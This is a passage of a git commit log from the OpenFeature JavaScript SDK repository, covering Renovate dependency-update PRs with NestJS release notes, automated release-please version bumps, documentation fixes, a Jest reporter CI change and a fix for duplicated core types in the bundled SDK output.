v10.0.2 ([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12796](https://togithub.com/nestjs/nest/pull/12796)
chore(deps): update dependency
[@&#8203;types/multer](https://togithub.com/types/multer) to v1.4.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12801](https://togithub.com/nestjs/nest/pull/12801)
fix(deps): update dependency
[@&#8203;grpc/grpc-js](https://togithub.com/grpc/grpc-js) to v1.9.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12802](https://togithub.com/nestjs/nest/pull/12802)
fix(deps): update dependency
[@&#8203;nestjs/cache-manager](https://togithub.com/nestjs/cache-manager)
to v2.1.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12803](https://togithub.com/nestjs/nest/pull/12803)
fix(deps): update dependency
[@&#8203;nestjs/event-emitter](https://togithub.com/nestjs/event-emitter)
to v2.0.3
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12804](https://togithub.com/nestjs/nest/pull/12804)
fix(deps): update dependency
[@&#8203;nestjs/mercurius](https://togithub.com/nestjs/mercurius) to
v12.0.11 ([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12778](https://togithub.com/nestjs/nest/pull/12778)
chore(deps-dev): bump eslint from 8.53.0 to 8.54.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12780](https://togithub.com/nestjs/nest/pull/12780)
chore(deps-dev): bump cache-manager from 5.2.4 to 5.3.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12779](https://togithub.com/nestjs/nest/pull/12779)
chore(deps-dev): bump core-js from 3.33.2 to 3.33.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12788](https://togithub.com/nestjs/nest/pull/12788)
chore(deps-dev): bump
[@&#8203;commitlint/cli](https://togithub.com/commitlint/cli) from
18.4.1 to 18.4.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12791](https://togithub.com/nestjs/nest/pull/12791)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.9.0 to
20.9.4
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12777](https://togithub.com/nestjs/nest/pull/12777)
chore(deps-dev): bump
[@&#8203;grpc/grpc-js](https://togithub.com/grpc/grpc-js) from 1.9.10 to
1.9.11
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12775](https://togithub.com/nestjs/nest/pull/12775)
chore(deps-dev): bump mqtt from 5.2.1 to 5.3.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12705](https://togithub.com/nestjs/nest/pull/12705)
fix(deps): update dependency
[@&#8203;nestjs/graphql](https://togithub.com/nestjs/graphql) to
v12.0.11 ([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12681](https://togithub.com/nestjs/nest/pull/12681)
chore(deps): update dependency
[@&#8203;types/express](https://togithub.com/types/express) to v4.17.21
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
-   `platform-fastify`
- [#&#8203;12931](https://togithub.com/nestjs/nest/pull/12931)
chore(deps): bump fastify from 4.25.0 to 4.25.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12921](https://togithub.com/nestjs/nest/pull/12921)
chore(deps): bump fastify from 4.24.3 to 4.25.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12890](https://togithub.com/nestjs/nest/pull/12890)
chore(deps): bump
[@&#8203;fastify/cors](https://togithub.com/fastify/cors) from 8.4.1 to
8.4.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
-   `platform-ws`
- [#&#8203;12918](https://togithub.com/nestjs/nest/pull/12918)
chore(deps): bump ws from 8.14.2 to 8.15.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))

##### Committers: 6

-   Fortas Abdeldjalil ([@&#8203;Fcmam5](https://togithub.com/Fcmam5))
- Micael Levi L. Cavalcante
([@&#8203;micalevisk](https://togithub.com/micalevisk))
-   Niv Shtibel ([@&#8203;NivSv](https://togithub.com/NivSv))
-   Olivier Thierry ([@&#8203;othierry](https://togithub.com/othierry))
- Philip Mantrov
([@&#8203;PhilipMantrov](https://togithub.com/PhilipMantrov))
-   Vinicius Lourenço ([@&#8203;H4ad](https://togithub.com/H4ad))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

###
[`v10.3.1`](https://togithub.com/nestjs/nest/compare/v10.3.0...v10.3.1)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.0...v10.3.1)

### [`v10.3.0`](https://togithub.com/nestjs/nest/releases/tag/v10.3.0)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.2.10...v10.3.0)

##### v10.3.0 (2023-12-18)

##### Enhancements

-   `platform-fastify`
- [#&#8203;12567](https://togithub.com/nestjs/nest/pull/12567)
feat(fastify): add fastify route constraints
([@&#8203;Fcmam5](https://togithub.com/Fcmam5))
-   `microservices`
- [#&#8203;12175](https://togithub.com/nestjs/nest/pull/12175)
feat(microservices): Added invalid-grpc-message-decorator.exception.ts
([@&#8203;PhilipMantrov](https://togithub.com/PhilipMantrov))
-   `common`, `core`, `microservices`, `platform-express`
- [#&#8203;12753](https://togithub.com/nestjs/nest/pull/12753) perf:
prefer use factory instead of use value when possible
([@&#8203;H4ad](https://togithub.com/H4ad))
-   `core`
- [#&#8203;12924](https://togithub.com/nestjs/nest/pull/12924)
feat(core): add options parameter to repl
([@&#8203;othierry](https://togithub.com/othierry))
-   `common`, `core`, `microservices`, `platform-socket.io`
- [#&#8203;12905](https://togithub.com/nestjs/nest/pull/12905)
feat(core): display module's name on `.select(module)` errors
([@&#8203;micalevisk](https://togithub.com/micalevisk))
-   `common`
- [#&#8203;12817](https://togithub.com/nestjs/nest/pull/12817)
fix(common): type def for cors delegated callback function option
([@&#8203;micalevisk](https://togithub.com/micalevisk))

##### Dependencies

-   Other
- [#&#8203;12891](https://togithub.com/nestjs/nest/pull/12891)
chore(deps): update dependency
[@&#8203;types/jest](https://togithub.com/types/jest) to v29.5.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12935](https://togithub.com/nestjs/nest/pull/12935)
chore(deps): update dependency nodemon to v3.0.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12833](https://togithub.com/nestjs/nest/pull/12833)
chore(deps): update dependency typescript to v5.3.3
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12832](https://togithub.com/nestjs/nest/pull/12832)
chore(deps): update dependency ts-loader to v9.5.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12939](https://togithub.com/nestjs/nest/pull/12939)
fix(deps): update dependency mercurius to v13.3.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12941](https://togithub.com/nestjs/nest/pull/12941)
fix(deps): update dependency sequelize to v6.35.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12810](https://togithub.com/nestjs/nest/pull/12810)
fix(deps): update nest monorepo
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;11952](https://togithub.com/nestjs/nest/pull/11952)
fix(deps): update dependency
[@&#8203;nestjs/apollo](https://togithub.com/nestjs/apollo) to v12.0.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12930](https://togithub.com/nestjs/nest/pull/12930)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.10.4 to
20.10.5
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12932](https://togithub.com/nestjs/nest/pull/12932)
chore(deps-dev): bump eslint from 8.55.0 to 8.56.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12911](https://togithub.com/nestjs/nest/pull/12911)
chore(deps-dev): bump
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)
from 6.13.2 to 6.14.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12908](https://togithub.com/nestjs/nest/pull/12908)
chore(deps-dev): bump prettier from 3.1.0 to 3.1.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12909](https://togithub.com/nestjs/nest/pull/12909)
chore(deps-dev): bump ts-node from 10.9.1 to 10.9.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12912](https://togithub.com/nestjs/nest/pull/12912)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.13.2 to 6.14.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12917](https://togithub.com/nestjs/nest/pull/12917)
chore(deps-dev): bump
[@&#8203;grpc/grpc-js](https://togithub.com/grpc/grpc-js) from 1.9.12 to
1.9.13
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12920](https://togithub.com/nestjs/nest/pull/12920)
chore(deps): bump github/codeql-action from 2 to 3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12923](https://togithub.com/nestjs/nest/pull/12923)
chore(deps-dev): bump eslint-plugin-import from 2.29.0 to 2.29.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12888](https://togithub.com/nestjs/nest/pull/12888)
chore(deps-dev): bump
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)
from 6.13.1 to 6.13.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12900](https://togithub.com/nestjs/nest/pull/12900)
chore(deps-dev): bump mongoose from 8.0.2 to 8.0.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12901](https://togithub.com/nestjs/nest/pull/12901)
chore(deps): bump reflect-metadata from 0.1.13 to 0.1.14
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12902](https://togithub.com/nestjs/nest/pull/12902)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.10.3 to
20.10.4
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12887](https://togithub.com/nestjs/nest/pull/12887)
chore(deps-dev): bump mqtt from 5.3.2 to 5.3.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12896](https://togithub.com/nestjs/nest/pull/12896)
chore(deps-dev): bump artillery from 2.0.2 to 2.0.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12897](https://togithub.com/nestjs/nest/pull/12897)
chore(deps-dev): bump typescript from 5.3.2 to 5.3.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12889](https://togithub.com/nestjs/nest/pull/12889)
chore(deps-dev): bump core-js from 3.33.3 to 3.34.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12873](https://togithub.com/nestjs/nest/pull/12873)
chore(deps-dev): bump eslint from 8.54.0 to 8.55.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12876](https://togithub.com/nestjs/nest/pull/12876)
chore(deps-dev): bump nodemon from 3.0.1 to 3.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12863](https://togithub.com/nestjs/nest/pull/12863)
chore(deps-dev): bump mongoose from 8.0.1 to 8.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12868](https://togithub.com/nestjs/nest/pull/12868)
chore(deps): bump sequelize-typescript from 2.1.5 to 2.1.6 in
/sample/07-sequelize
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12872](https://togithub.com/nestjs/nest/pull/12872)
chore(deps-dev): bump artillery from 2.0.1 to 2.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12874](https://togithub.com/nestjs/nest/pull/12874)
chore(deps-dev): bump eslint-config-prettier from 9.0.0 to 9.1.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12875](https://togithub.com/nestjs/nest/pull/12875)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.10.0 to
20.10.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12877](https://togithub.com/nestjs/nest/pull/12877)
chore(deps-dev): bump lint-staged from 15.1.0 to 15.2.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12878](https://togithub.com/nestjs/nest/pull/12878)
chore(deps-dev): bump ts-morph from 20.0.0 to 21.0.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12882](https://togithub.com/nestjs/nest/pull/12882)
chore(deps-dev): bump mqtt from 5.3.1 to 5.3.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12883](https://togithub.com/nestjs/nest/pull/12883)
chore(deps-dev): bump [@&#8203;typescript-eslin

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xMzUuMCIsInVwZGF0ZWRJblZlciI6IjM3LjEzNS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-02-08 18:09:41 +00:00
Michael Beemer 1096ae5d46
docs: fix runsOn example on readme
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-02-05 14:52:18 -08:00
Michael Beemer 70bd33db72
docs: improved grammar, added punction to readme
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-02-05 14:47:05 -08:00
Michael Beemer 4c73189f62
docs: add missing punctuation to readme
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-02-05 14:40:18 -08:00
OpenFeature Bot 732ea417bc
chore(main): release react-sdk 0.1.1-experimental (#773)
🤖 I have created a release *beep* *boop*
---


##
[0.1.1-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.1.0-experimental...react-sdk-v0.1.1-experimental)
(2024-01-31)


###  New Features

* adds ErrorOptions to Error constructor
([#765](https://github.com/open-feature/js-sdk/issues/765))
([2f59a9f](2f59a9f5a8))


### 🐛 Bug Fixes

* removed duped core types
([#800](https://github.com/open-feature/js-sdk/issues/800))
([7cc1e09](7cc1e09a11))


### 📚 Documentation

* update react readme
([#792](https://github.com/open-feature/js-sdk/issues/792))
([1666597](1666597839))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-02-01 09:13:59 -05:00
OpenFeature Bot 6f62eb207d
chore(main): release nestjs-sdk 0.0.5-experimental (#772)
🤖 I have created a release *beep* *boop*
---


##
[0.0.5-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.0.4-experimental...nestjs-sdk-v0.0.5-experimental)
(2024-01-31)


###  New Features

* adds ErrorOptions to Error constructor
([#765](https://github.com/open-feature/js-sdk/issues/765))
([2f59a9f](2f59a9f5a8))


### 🐛 Bug Fixes

* **nest:** add peer deps for nestjs-core and rxjs 9
([#784](https://github.com/open-feature/js-sdk/issues/784))
([a452bdd](a452bdd4a8))
* removed duped core types
([#800](https://github.com/open-feature/js-sdk/issues/800))
([7cc1e09](7cc1e09a11))


### 📚 Documentation

* Nest SDK ([#750](https://github.com/open-feature/js-sdk/issues/750))
([a21634d](a21634dce9))
* update nestjs readme examples
([#787](https://github.com/open-feature/js-sdk/issues/787))
([c6a357a](c6a357aa5c))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-01-31 21:33:08 +00:00
OpenFeature Bot 82190eb9fa
chore(main): release server-sdk 1.11.0 (#803)
🤖 I have created a release *beep* *boop*
---


##
[1.11.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.10.0...server-sdk-v1.11.0)
(2024-01-31)


###  New Features

* use interface for events
([#798](https://github.com/open-feature/js-sdk/issues/798))
([b47b1dc](b47b1dce5b))


### 🐛 Bug Fixes

* removed duped core types
([#800](https://github.com/open-feature/js-sdk/issues/800))
([7cc1e09](7cc1e09a11))


### 🧹 Chore

* **main:** release core 0.0.25
([#801](https://github.com/open-feature/js-sdk/issues/801))
([53a89ab](53a89ab0ce))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-31 21:00:36 +00:00
OpenFeature Bot 8b82ba6250
chore(main): release web-sdk 0.4.12 (#802)
🤖 I have created a release *beep* *boop*
---


##
[0.4.12](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.11...web-sdk-v0.4.12)
(2024-01-31)


###  New Features

* use interface for events
([#798](https://github.com/open-feature/js-sdk/issues/798))
([b47b1dc](b47b1dce5b))


### 🐛 Bug Fixes

* removed duped core types
([#800](https://github.com/open-feature/js-sdk/issues/800))
([7cc1e09](7cc1e09a11))


### 🧹 Chore

* **main:** release core 0.0.25
([#801](https://github.com/open-feature/js-sdk/issues/801))
([53a89ab](53a89ab0ce))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-01-31 15:57:19 -05:00
OpenFeature Bot 53a89ab0ce
chore(main): release core 0.0.25 (#801)
🤖 I have created a release *beep* *boop*
---


##
[0.0.25](https://github.com/open-feature/js-sdk/compare/core-v0.0.24...core-v0.0.25)
(2024-01-31)


###  New Features

* use interface for events
([#798](https://github.com/open-feature/js-sdk/issues/798))
([b47b1dc](b47b1dce5b))


### 🐛 Bug Fixes

* removed duped core types
([#800](https://github.com/open-feature/js-sdk/issues/800))
([7cc1e09](7cc1e09a11))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-01-31 20:49:03 +00:00
Todd Baert b47b1dce5b
feat: use interface for events (#798)
Make the providers events member an interface to improve flexibility and
reduce possible typing issues.

I'm confident this is non-breaking: I've locally updated the my
js-contribs to use this, and everything compiled and tested fine.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Jonathan Norris <jonathan@taplytics.com>
2024-01-31 20:04:15 +00:00
Todd Baert 7cc1e09a11
fix: removed duped core types (#800)
A while back I added:

```json
    "paths": {
      "@openfeature/core": [ "./packages/shared/src" ]
    },      
```

To the tsconfigs, which helped with local dev by always resolving
`src/*` files from sibling packages instead of anything in their
`dist/`.

It also had the nasty side-effect of causing our type bundling to
include types from this package in it's output, causing duplicated
artifacts and possible compiler issues. I've overridden this with a
custom `tsconfig.rollup.json`.

Before this fix, the web/server SDK dists contained dupes of the stuff
in shared:

```ts
import EventEmitter from 'events';

type FlagValueType = 'boolean' | 'string' | 'number' | 'object';
type PrimitiveValue = null | boolean | string | number;
type JsonObject = {
    [key: string]: JsonValue;
};
type JsonArray = JsonValue[];
/**
 * Represents a JSON node value.
 */
```

After this fix, they import them:

```ts
import { BaseHook, HookHints, EvaluationDetails, JsonValue, EvaluationLifeCycle, ManageLogger, Eventing, ClientMetadata, ProviderStatus, ClientProviderEvents, GenericEventEmitter, CommonEventDetails, FlagValue, CommonProvider, EvaluationContext, Logger, ResolutionDetails, EventHandler, OpenFeatureCommonAPI, ManageContext } from '@openfeature/core';
export * from '@openfeature/core';
```

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-31 19:52:16 +00:00
OpenFeature Bot 4114e63a76
chore(main): release server-sdk 1.10.0 (#771)
🤖 I have created a release *beep* *boop*
---


##
[1.10.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.9.1...server-sdk-v1.10.0)
(2024-01-30)


###  New Features

* adds ErrorOptions to Error constructor
([#765](https://github.com/open-feature/js-sdk/issues/765))
([2f59a9f](2f59a9f5a8))


### 🧹 Chore

* **main:** release core 0.0.24
([#770](https://github.com/open-feature/js-sdk/issues/770))
([12b3b35](12b3b35276))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-30 18:26:21 +00:00
OpenFeature Bot 35a612c4fa
chore(main): release web-sdk 0.4.11 (#769)
🤖 I have created a release *beep* *boop*
---


##
[0.4.11](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.10...web-sdk-v0.4.11)
(2024-01-30)


###  New Features

* adds ErrorOptions to Error constructor
([#765](https://github.com/open-feature/js-sdk/issues/765))
([2f59a9f](2f59a9f5a8))


### 🧹 Chore

* **main:** release core 0.0.24
([#770](https://github.com/open-feature/js-sdk/issues/770))
([12b3b35](12b3b35276))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-01-30 13:20:57 -05:00
OpenFeature Bot 12b3b35276
chore(main): release core 0.0.24 (#770)
🤖 I have created a release *beep* *boop*
---


##
[0.0.24](https://github.com/open-feature/js-sdk/compare/core-v0.0.23...core-v0.0.24)
(2024-01-27)


###  New Features

* adds ErrorOptions to Error constructor
([#765](https://github.com/open-feature/js-sdk/issues/765))
([2f59a9f](2f59a9f5a8))


### 🐛 Bug Fixes

* event-handler leakage
([#788](https://github.com/open-feature/js-sdk/issues/788))
([69c7f05](69c7f05eb4))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-01-30 18:15:05 +00:00
Michael Beemer 2170a9fa3a
ci: configure GitHub jest reporter (#791)
## This PR

- enables the Jest GitHub reporter

### Notes

https://jestjs.io/docs/configuration#github-actions-reporter

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-01-30 18:14:26 +00:00
Michael Beemer 1666597839
docs: update react readme (#792)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-01-27 22:20:53 +00:00
renovate[bot] c47c7d9bf8
chore(deps): update dependency eslint-plugin-jest to v27.6.3 (#776)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jest](https://togithub.com/jest-community/eslint-plugin-jest)
| [`27.6.0` ->
`27.6.3`](https://renovatebot.com/diffs/npm/eslint-plugin-jest/27.6.0/27.6.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jest/27.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jest/27.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jest/27.6.0/27.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jest/27.6.0/27.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>jest-community/eslint-plugin-jest
(eslint-plugin-jest)</summary>

###
[`v27.6.3`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2763-2024-01-12)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.6.2...v27.6.3)

##### Bug Fixes

- replace use of deprecated methods
([#&#8203;1453](https://togithub.com/jest-community/eslint-plugin-jest/issues/1453))
([9204a51](9204a51b4a))

###
[`v27.6.2`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2762-2024-01-10)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.6.1...v27.6.2)

##### Reverts

- Revert "chore: use relative path to parent `tsconfig.json`
([#&#8203;1476](https://togithub.com/jest-community/eslint-plugin-jest/issues/1476))"
([5e6199d](5e6199d621)),
closes
[#&#8203;1476](https://togithub.com/jest-community/eslint-plugin-jest/issues/1476)

###
[`v27.6.1`](https://togithub.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2761-2024-01-01)

[Compare
Source](https://togithub.com/jest-community/eslint-plugin-jest/compare/v27.6.0...v27.6.1)

##### Bug Fixes

- include plugin `meta` information with snapshot processor for ESLint
v9
([#&#8203;1484](https://togithub.com/jest-community/eslint-plugin-jest/issues/1484))
([067e246](067e246864))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xMzUuMCIsInVwZGF0ZWRJblZlciI6IjM3LjEzNS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-01-26 20:24:34 +00:00
renovate[bot] e68559c1a4
chore(deps): update dependency @openfeature/flagd-provider to v0.10.4 (#774)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| @&#8203;openfeature/flagd-provider | [`0.10.3` ->
`0.10.4`](https://renovatebot.com/diffs/npm/@openfeature%2fflagd-provider/0.10.3/0.10.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@openfeature%2fflagd-provider/0.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@openfeature%2fflagd-provider/0.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@openfeature%2fflagd-provider/0.10.3/0.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@openfeature%2fflagd-provider/0.10.3/0.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xMzUuMCIsInVwZGF0ZWRJblZlciI6IjM3LjEzNS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

